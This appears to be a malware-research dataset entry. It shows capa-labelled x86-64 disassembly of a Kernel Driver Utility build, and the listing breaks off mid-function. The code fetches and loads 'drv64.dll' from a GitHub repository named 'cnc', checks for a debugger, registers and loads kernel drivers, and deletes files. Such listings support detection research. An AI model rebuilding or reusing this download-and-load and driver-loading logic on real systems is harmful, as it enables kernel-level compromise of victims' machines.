joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c9e0
Capabilities:
Access pe header
Access peb ldr_data
Check for peb beingdebugged flag
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x3e0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ecx, dword [rax + 0x58]
mov dword [rsp + 0x38], ecx
lea rax, str.Tue_Nov_19_16:59:53_2024
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x7e8
mov dword [rsp + 0x20], 0x96b
mov edx, 1
lea r9d, [rdx + 2]
lea r8d, [rdx + 3]
lea rcx, str.___Kernel_Driver_Utility_v_lu._lu._lu__build__lu__started___c_2020____lu_KDU_Project_r_n___Built_at__s__header_checksum_0x_lX_r_n___Supported_x64_OS_:_Windows_7_and_above_r_n
call fcn.140002e20
lea rdi, [rsp + 0xd0]
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rdi, [rsp + 0x1d0]
mov ecx, 0x20a
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov dword [rsp + 0x3f0], 0x104036b
movzx ecx, word [rax + 0x58]
or ecx, 0x24110000
mov dword [rsp + 0x3f4], ecx
lea r9, [rsp + 0xd0]
mov r10, qword [rsp + 0x3f0]
mov word [rsp + 0xce], 0x5f2d
xor esi, esi
mov dil, sil
lea r8, [rsp + 0xc4]
movzx ecx, dil
lea edx, [rdi + 0x61]
lea eax, [rdx - 0x20]
mov byte [r8 - 0x34], al
mov byte [rsp + rcx + 0xaa], dl
cmp cl, 0xa
jae 0x14000caec
sub dl, 0x31
mov byte [r8], dl
inc dil
inc r8
cmp dil, 0x1a
jl 0x14000cacc
mov ecx, 0xd
mov rax, r10
shr r10, 5
and eax, 0x3f
movsx eax, byte [rsp + rax + 0x90]
mov word [r9], ax
lea r9, [r9 + 2]
sub rcx, 1
jne 0x14000cafd
mov word [r9], si
lea r9, [rsp + 0xd0]
lea r8, str.BaseNamedObjects_ws
mov edx, 0x104
lea rcx, [rsp + 0x1d0]
call fcn.140003100
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x58], 0x30
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x70], 0x40
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
xor r9d, r9d
lea r8, [rsp + 0x58]
mov edx, 0x1f0001
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.ntdll.dll_NtCreateMutant]
mov edi, 0xb7
mov ecx, 0xc0000035
cmp eax, ecx
cmovne edi, esi
je 0x14000cbc9
call fcn.14000c534
mov edi, eax
mov dword [rsp + 0x40], eax
jmp 0x14000cbda
lea rdx, str.____Another_instance_is_running__close_it_before_r_n
mov ecx, 1
call fcn.140010084
mov edx, edi
lea rcx, str.___Return_value:__d._Bye_bye__r_n
call fcn.140002e20
mov eax, edi
mov rsi, qword [rsp + 0x400]
add rsp, 0x3e0
pop rdi
ret
Function at 0x14000d024
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
and qword [rsp + 0x20], 0
lea r8, str.drv64.dll
xor r9d, r9d
lea rdx, str.https:__github.com_DaRk_BaRRy_cnc_raw_refs_heads_main_drv64.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edi, 1
lea rcx, str.drv64.dll
mov r8d, edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
je 0x14000d15e
mov r8, rax
lea rdx, str.drv64.dll
lea rcx, str.___Drivers_database___ws__loaded_at_0x_p_r_n
call fcn.140002e20
lea rdx, str.gVersion
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x14000d0b9
lea rdx, str.____Providers_version_data_not_found_r_n
mov ecx, edi
call fcn.140010084
jmp 0x14000d151
movzx r8d, word [rax]
mov r9d, 4
mov r11d, 0x96b
lea r10d, [r9 - 1]
cmp r8w, di
jne 0x14000d119
cmp word [rax + 2], r9w
jne 0x14000d119
cmp word [rax + 4], r10w
jne 0x14000d119
cmp word [rax + 6], r11w
jne 0x14000d119
lea rcx, str.___Drivers_database_version_is_OK_r_n
call fcn.140002e20
lea rdx, str.gProvTable
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400420f0], rax
test rax, rax
jne 0x14000d172
lea rdx, str.____Providers_table_not_found_r_n
jmp 0x14000d0ad
movzx ecx, word [rdx + 4]
movzx edx, word [rdx + 2]
movzx eax, word [rax + 6]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], ecx
mov ecx, edi
mov dword [rsp + 0x38], edx
lea rdx, str.____Providers_database_has_wrong_version__expected__lu._lu._lu._lu__got__lu._lu._lu._lu_r_n
mov dword [rsp + 0x30], r8d
mov r8d, edi
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], r10d
call fcn.140010084
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor ebx, ebx
jmp 0x14000d172
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cannot_load_drivers_database
call fcn.140010f54
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x14000ed30
Capabilities:
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
and qword [r11 + 0x10], 0
mov r10, rdx
and r10, 0xfffffffffffff000
mov eax, r8d
sub rax, r10
mov qword [r11 - 0x10], r10
add rax, rdx
lea r8, [r11 + 0x10]
mov qword [r11 - 0x18], rax
neg r9d
sbb eax, eax
xor r9d, r9d
and eax, 2
or rdx, 0xffffffffffffffff
add eax, 2
mov dword [rsp + 0x48], eax
lea rax, [r11 - 0x18]
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 - 0x10]
mov qword [r11 - 0x40], rax
and qword [r11 - 0x48], 0
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jns 0x14000edb1
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x14000edb6
mov rax, qword [rsp + 0x78]
add rsp, 0x68
ret

Function at 0x14000f3d4
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, edx
xor ebp, ebp
mov r14, r8
mov rsi, r9
mov r8, rcx
mov rdx, rcx
mov r10d, ebp
lea r11d, [rdi + 1]
shr r11d, 1
je 0x14000f426
movzx eax, word [rdx]
lea rdx, [rdx + 2]
add r10d, eax
mov ecx, r10d
movzx r10d, r10w
shr ecx, 0x10
add r10d, ecx
add r11d, 0xffffffff
jne 0x14000f409
mov ebx, r10d
mov rcx, r8
shr ebx, 0x10
add bx, r10w
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x14000f45d
movzx ecx, word [rax + 0x58]
cmp bx, cx
adc cx, bp
sub bx, cx
movzx ecx, word [rax + 0x5a]
cmp bx, cx
adc cx, bp
sub bx, cx
mov ecx, dword [rax + 0x58]
jmp 0x14000f462
mov ecx, edi
movzx ebx, bp
movzx eax, bx
add eax, edi
test r14, r14
je 0x14000f46f
mov dword [r14], ecx
test rsi, rsi
je 0x14000f476
mov dword [rsi], eax
mov rbx, qword [rsp + 0x30]
cmp eax, ecx
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
sete al
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000f498
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov r14, 0xffffffff80000002
mov rsi, rdx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ebx, ebx
test eax, eax
je 0x14000f5cb
lea rax, [rbp + 0x190]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000f50a
cmp eax, 2
je 0x14000f5cb
xor eax, eax
jmp 0x14000f5d0
mov rdi, rsi
test rsi, rsi
jne 0x14000f517
mov rdi, rbx
jmp 0x14000f525
cmp word [rsi], bx
je 0x14000f525
add rdi, 2
cmp word [rdi], bx
jne 0x14000f51c
mov eax, 0x5c
cmp word [rdi - 2], ax
je 0x14000f53a
mov word [rdi], ax
add rdi, 2
mov word [rdi], bx
mov r15d, 0x104
jmp 0x14000f564
mov r9, r15
lea r8, [rsp + 0x40]
mov rdx, r15
mov rcx, rdi
call fcn.140001348
mov rdx, rsi
mov rcx, r14
call fcn.14000f498
test eax, eax
je 0x14000f5a5
mov rcx, qword [rbp + 0x190]
lea rax, [rbp + 0x198]
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x180]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rbp + 0x180], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000f542
mov rcx, qword [rbp + 0x190]
mov word [rdi - 2], bx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
sete bl
mov eax, ebx
jmp 0x14000f5d0
mov eax, 1
mov rbx, qword [rsp + 0x288]
add rsp, 0x250
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000f5e8
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rdi, rcx
mov rbx, r8
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor r8d, r8d
test rbx, rbx
je 0x14000f641
lea rax, [rsp + 0x40]
cmp rax, rbx
je 0x14000f641
movzx ecx, word [rbx]
lea rax, [rsp + 0x40]
test cx, cx
je 0x14000f63d
lea rdx, [rsp + 0x40]
sub rbx, rdx
mov word [rax], cx
add rax, 2
movzx ecx, word [rbx + rax]
test cx, cx
jne 0x14000f62d
mov word [rax], r8w
lea rax, [rsp + 0x40]
cmp word [rsp + 0x40], r8w
je 0x14000f658
add rax, 2
cmp word [rax], r8w
jne 0x14000f64e
lea rcx, [rsp + 0x40]
mov r9d, 1
sub rax, rcx
lea rdx, [rsp + 0x30]
sar rax, 1
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret
Function at 0x14000f6a0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
xor esi, esi
mov rbx, rdx
mov qword [rbp + 0x30], rsi
mov rdi, rcx
mov qword [rbp - 8], rsi
mov dword [rbp - 0x10], esi
test rcx, rcx
je 0x14000f6eb
xor r9d, r9d
lea rdx, [rbp - 0x10]
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
jne 0x14000f6eb
mov eax, 0xc00000f0
jmp 0x14000f82d
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000f72e
mov ebx, 0xc0000022
jmp 0x14000f816
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov r14d, 4
mov dword [rbp + 0x20], 1
mov dword [rsp + 0x28], r14d
lea rdx, str.ErrorControl
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x14000f801
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], r14d
lea rdx, str.Type
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x14000f801
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], r14d
lea rdx, str.Start
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], 3
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x14000f801
test rdi, rdi
je 0x14000f801
movzx eax, word [rbp - 0x10]
lea r9d, [r14 - 2]
mov rcx, qword [rbp + 0x30]
lea rdx, str.ImagePath
add eax, r9d
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg ebx
mov ebx, 0xc0000022
sbb ecx, ecx
and ebx, ecx
test rdi, rdi
je 0x14000f82b
cmp qword [rbp - 8], rsi
je 0x14000f82b
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, ebx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000f844
Capabilities:
Install driver
Unload driver

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x250
xor r14d, r14d
mov rbx, rdx
mov rsi, r9
mov bpl, r8b
mov rdx, rcx
test rcx, rcx
je 0x14000f944
test rbx, rbx
jne 0x14000f887
mov eax, 0xc00000f0
jmp 0x14000f949
xor eax, eax
mov qword [rsp + 0x20], rdx
lea rdi, [rsp + 0x40]
mov ecx, 0x20a
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov edx, 0x104
lea r9, str.RegistryMachine
lea r8, str._wSSystemCurrentControlSetServices_wS
call fcn.140003100
test eax, eax
js 0x14000f944
lea rdx, [rsp + 0x64]
mov rcx, rbx
call fcn.14000f6a0
test eax, eax
js 0x14000f949
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
test rsi, rsi
je 0x14000f8f8
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x30]
call rsi
test eax, eax
js 0x14000f949
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test bpl, bpl
je 0x14000f939
cmp eax, 0xc000010e
je 0x14000f91d
cmp eax, 0xc0000035
je 0x14000f91d
cmp eax, 0x40000000
jne 0x14000f949
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
test eax, eax
js 0x14000f949
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
jmp 0x14000f949
cmp eax, 0x40000000
cmove eax, r14d
jmp 0x14000f949
mov eax, 0xc00000ef
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x14000f968
Capabilities:
Unload driver

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x660
mov rdx, rcx
lea rdi, [rsp + 0x40]
xor eax, eax
mov qword [rsp + 0x20], rdx
mov ecx, 0x20a
lea r9, str.RegistryMachine
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov edx, 0x104
lea r8, str._wSSystemCurrentControlSetServices_wS
call fcn.140003100
test eax, eax
jns 0x14000f9b3
mov eax, 0xc00000ef
jmp 0x14000fa21
lea rdx, [rsp + 0x64]
xor ecx, ecx
call fcn.14000f6a0
test eax, eax
js 0x14000fa21
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov ebx, eax
test eax, eax
js 0x14000fa1f
xor eax, eax
lea rdi, [rsp + 0x250]
mov ecx, 0x410
lea r8, [rsp + 0x64]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x250]
mov r9d, 0x104
mov edx, 0x208
call fcn.140001348
lea rdx, [rsp + 0x250]
call fcn.14000f498
mov eax, ebx
mov rbx, qword [rsp + 0x670]
add rsp, 0x660
pop rdi
ret

Function at 0x14000fbcc
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
call fcn.140001748
test rax, rax
je 0x14000fbfe
mov rcx, qword gs:[0x30]
mov r8, rax
mov rbx, qword [rax + 0x18]
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x14000fd10
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
and qword [rcx], 0
lea rdi, [rbp - 0x20]
and dword [rbp + 0x20], 0
mov r15, rcx
and qword [rdx], 0
xor eax, eax
mov word [rbp + 0x24], 0x500
mov ebx, 8
mov r14, rdx
mov edx, ebx
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea r8d, [rbx + 0x20]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
jne 0x14000fd82
mov edi, 0xc000009a
jmp 0x14000fed5
mov ecx, 1
call qword [sym.imp.ntdll.dll_RtlLengthRequiredSid]
mov ecx, 2
mov edi, eax
call qword [sym.imp.ntdll.dll_RtlLengthRequiredSid]
add eax, 0x18
mov edx, ebx
add edi, eax
mov rax, qword gs:[0x30]
mov r8d, edi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
jne 0x14000fdcd
mov edi, 0xc000009a
jmp 0x14000feb9
mov r8d, 2
mov edx, edi
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlCreateAcl]
mov edi, eax
test eax, eax
js 0x14000fe9d
mov r8b, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
mov edi, 0x10000000
lea r9, [rbp - 0x20]
mov r8d, edi
mov edx, 2
mov rcx, rbx
mov dword [rax], 0x12
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
mov r8b, 2
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
mov edx, 1
lea rcx, [rbp - 0x20]
mov dword [rax], 0x20
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea r9, [rbp - 0x20]
mov r8d, edi
mov edx, 2
mov rcx, rbx
mov dword [rax], 0x220
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
mov edx, 1
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlCreateSecurityDescriptor]
mov edi, eax
test eax, eax
js 0x14000fe9d
xor r9d, r9d
mov r8, rbx
mov dl, 1
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlSetDaclSecurityDescriptor]
mov edi, eax
test eax, eax
jns 0x14000fed9
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor ebx, ebx
xor esi, esi
mov qword [r15], rsi
mov eax, edi
mov qword [r14], rbx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret
Function at 0x14001027c
Capabilities:
Access peb ldr_data
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
xor edi, edi
mov rsi, r8
mov rbp, rcx
mov r15d, edi
mov r9, qword [rax + 0x60]
mov r14, qword [r9 + 0x20]
mov r9, qword [r8 + 0x28]
mov rax, r9
test r9, r9
jne 0x1400102c5
mov r9d, edi
jmp 0x1400102d1
add r9, 2
cmp word [r9], di
jne 0x1400102c1
sub r9, rax
sar r9, 1
mov rax, qword [r8 + 0x30]
mov rcx, rax
test rax, rax
jne 0x1400102e6
mov rax, rdi
jmp 0x1400102f1
add rax, 2
cmp word [rax], di
jne 0x1400102e2
sub rax, rcx
sar rax, 1
lea rcx, [rax + r9]
movzx eax, word [r14 + 0x38]
lea rbx, [rax + rcx*2]
test dl, dl
je 0x14001040d
mov rcx, rbp
call fcn.14000cbfc
test eax, eax
jne 0x140010324
mov ecx, 0x54f
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1400104b5
mov rax, qword gs:[0x30]
lea r8, [rbx + 0x40]
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400104aa
movzx edx, word [r14 + 0x38]
mov rcx, rax
mov r8, qword [r14 + 0x40]
shr rdx, 1
mov r9, rdx
call fcn.140001348
lea rdx, [0x14003779c]
call fcn.1400012a4
mov rdx, qword [rsi + 0x28]
mov rcx, rbx
mov r14, rax
call fcn.1400012a4
mov r8d, dword [rsi + 0x38]
mov rdx, rbx
mov rcx, qword [rbp + 0x10]
call fcn.1400105f0
test eax, eax
je 0x1400103ec
mov word [r14], di
mov rcx, rbx
mov rdx, qword [rsi + 0x30]
call fcn.1400012a4
mov r8d, dword [rsi + 0x3c]
mov rdx, rbx
mov rcx, qword [rbp + 0x10]
call fcn.1400105f0
test eax, eax
je 0x1400103ec
mov eax, dword [rsi + 0x4c]
lea rcx, [rsi + 8]
mov r8d, dword [rsi + 0x48]
mov r9, rsi
mov rdx, qword [rsi + 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.14001013c
mov r15d, eax
test eax, eax
jne 0x1400103ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1400104aa
mov rax, qword gs:[0x30]
lea r8, [rbx + 0x40]
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbp, rax
test rax, rax
je 0x1400104aa
movzx edx, word [r14 + 0x38]
mov rcx, rax
mov r8, qword [r14 + 0x40]
shr rdx, 1
mov r9, rdx
call fcn.140001348
lea rdx, [0x14003779c]
call fcn.1400012a4
mov rdx, qword [rsi + 0x28]
mov rcx, rbp
mov rbx, rax
call fcn.1400012a4
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov word [rbx], di
mov rcx, rbp
mov rdx, qword [rsi + 0x30]
call fcn.1400012a4
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword gs:[0x30]
mov r8, rbp
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov r15d, 1
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, r15d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x1400104d0
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov edi, r9d
mov r12, r8
mov r15d, edx
mov r14, rcx
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rsi, rax
test rax, rax
je 0x1400105cf
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
mov rcx, r14
call section..text
mov rbp, rax
test rax, rax
je 0x1400105cf
mov rdx, r12
mov rcx, rax
call fcn.140001190
test rax, rax
je 0x1400105be
sub eax, ebp
mov dword [rsi + 0x28], eax
test edi, edi
je 0x140010550
mov eax, 0xdfff
and word [rsi + 0x16], ax
lea r8d, [r15 + 1]
mov r9, r14
shr r8d, 1
mov edx, ebx
je 0x140010578
movzx eax, word [r9]
lea r9, [r9 + 2]
add edx, eax
mov ecx, edx
movzx edx, dx
shr ecx, 0x10
add edx, ecx
add r8d, 0xffffffff
jne 0x14001055e
mov edi, edx
mov rcx, r14
shr edi, 0x10
add di, dx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rcx, rax
test rax, rax
je 0x1400105ad
movzx eax, word [rax + 0x58]
cmp di, ax
adc ax, bx
sub di, ax
movzx eax, word [rcx + 0x5a]
cmp di, ax
adc ax, bx
sub di, ax
jmp 0x1400105b0
movzx edi, bx
movzx eax, di
mov ebx, 1
add eax, r15d
mov dword [rsi + 0x58], eax
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret

Function at 0x1400106a4
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x440
mov rbx, rcx
mov qword [rsp + 0x20], r9
xor eax, eax
lea rdi, [rsp + 0x30]
mov esi, edx
mov r9, r8
mov ecx, 0x410
lea r8, [0x140037d90]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x30]
mov edx, 0x208
call fcn.140003100
cmp dword [rsp + 0x470], 0
je 0x1400106fe
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140010713
test rbx, rbx
je 0x140010713
mov r8d, esi
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400105f0
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140010728
Capabilities:
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
xor r9d, r9d
mov qword [rax - 0x18], rbx
xor r8d, r8d
mov dword [rax - 0x20], 0x80
mov edx, 0x80000000
mov dword [rax - 0x28], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400107b7
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov r8d, 0x1000002
mov rcx, rax
